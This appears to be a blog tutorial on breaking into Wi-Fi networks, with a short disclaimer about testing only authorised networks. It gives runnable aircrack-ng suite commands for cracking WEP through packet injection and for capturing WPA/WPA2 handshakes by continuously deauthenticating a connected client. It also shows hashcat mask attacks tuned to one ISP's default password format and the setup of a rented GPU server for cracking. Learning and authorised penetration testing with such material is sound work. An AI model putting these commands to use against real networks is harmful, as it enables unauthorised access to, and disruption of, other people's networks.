This blog and all its posts are for educational purposes only. Do not perform any of these actions on a Wi-Fi network that does not belong to you or that you do not have written permission to test.
Hacking Wi-Fi with WEP encryption is straightforward.
First, listen for nearby Wi-Fi networks using WEP encryption:
airodump-ng wlan0 --encrypt wep
Replace the channel number (1 in the example) and the MAC address (FF:FF:FF:FF:FF:FF in the example) with the values from airodump:
besside-ng wlan0 -c 1 -b FF:FF:FF:FF:FF:FF
This command captures IV packets, which are the type of packets used to crack WEP. It starts with packet injection and then moves on to flooding.
It will give you the hex version of the password. Use the following command to get the ASCII version:
aircrack-ng ./wep.pcap
An alternative method takes a bit longer since there is no packet injection to speed up the process, but it works fine too.
Once you know the channel and the BSSID (the router’s MAC address), run the following commands in two separate terminals:
airodump-ng wlan0 -c 1 -b FF:FF:FF:FF:FF:FF aircrack-ng ./wep.pcap
Airodump captures packets in one terminal while aircrack re-checks the file every 5,000 packets until it has enough data to crack the password.
Cracking a Wi-Fi network that uses WPA/WPA2 involves capturing the 4-way handshake and feeding that data into hashcat to recover the password using brute force.
To capture the handshake, a device must connect to the network. This can be a long wait, or you can deauthenticate a connected device and wait for it to reconnect.
The hash-cracking step is more involved because it relies on a password list, either a public one or a custom one built with tools like CUPP, optionally combined with Mentalist.
Set the wireless adapter to monitor mode, verify the mode change, and start capturing packets:
sudo airmon-ng start wlan0 iwconfig sudo airodump-ng wlan0mon
The tool will hop between channels and display all reachable routers along with their connected devices.
sudo airodump-ng -c1 -w output_file -d FF:FF:FF:FF:FF:FF wlan0mon
Note that -c1 means channel 1 and FF:FF:FF:FF:FF:FF is the MAC address of the target router.
In a second terminal, deauthenticate one of the connected clients:
sudo aireplay-ng --deauth 0 -a FF:FF:FF:FF:FF:FF -c EE:EE:EE:EE:EE:EE wlan0mon
The first argument 0 is the number of packets to send (0 means continuous), -a is the access point, and -c is the client.
In the airodump terminal, you should see “WPA handshake: FF:FF:FF:FF:FF:FF” at the top, which means the handshake was captured and you can stop the process.
sudo airmon-ng stop wlan0mon
If you open the output_file.pcap file in Wireshark and filter by “eapol” (Extensible Authentication Protocol over LAN), you will see the 4-way handshake.
Now use a wordlist to check if any entry matches the password:
aircrack-ng output_file.pcap -w /usr/share/dict/words
The wordlist above is a basic dictionary with a limited number of entries. Consider using RockYou or building a custom list based on available information: the SSID (which can indicate the internet provider) and the MAC address (which reveals the hardware manufacturer) can help narrow down the likely password pattern.
For example, Bell Canada’s Home Hub 3000 modem uses a 12-character password where each character is an uppercase hex digit (0-F):
hashcat -m 2500 -a3 handshake.hccapx ?H?H?H?H?H?H?H?H?H?H?H?H
Do not be discouraged if the estimated time to finish is around 1,800 years. Find a high-performance GPU and take on the challenge 🙂
Using Linode GPU computing to crack the password hash:
- Linode Plan: Dedicated 32GB + RTX6000 GPU x1
- Hourly: $1.50 ($1,000/month)
- RAM: 32 GB
- CPUs: 8
- Storage: 640 GB
Setting up the system:
sudo apt update sudo apt install hashcat -y wget https://downloads.hpe.com/pub/softlib2/software1/pubsw-linux/p87865808/v171517/NVIDIA-Quadro-RTX6000-Linux_Driver-418.43.tar.gz tar zxvf NVIDIA-Quadro-RTX6000-Linux_Driver-418.43.tar.gz chmod +x NVIDIA-Linux-x86_64-418.43.run ./NVIDIA-Linux-x86_64-418.43.run hashcat -I sudo apt install gcc make build-essential linux-headers-$(uname -r) -y
Even after reducing the estimate from 1,809 years down to 10, cracking such a long password remains impractical even with high-performance hardware.
The same test was also run on ColabCat. Results below:
Read more in the post Cracking Hashes with HashCat in Google Cloud Colab [Link].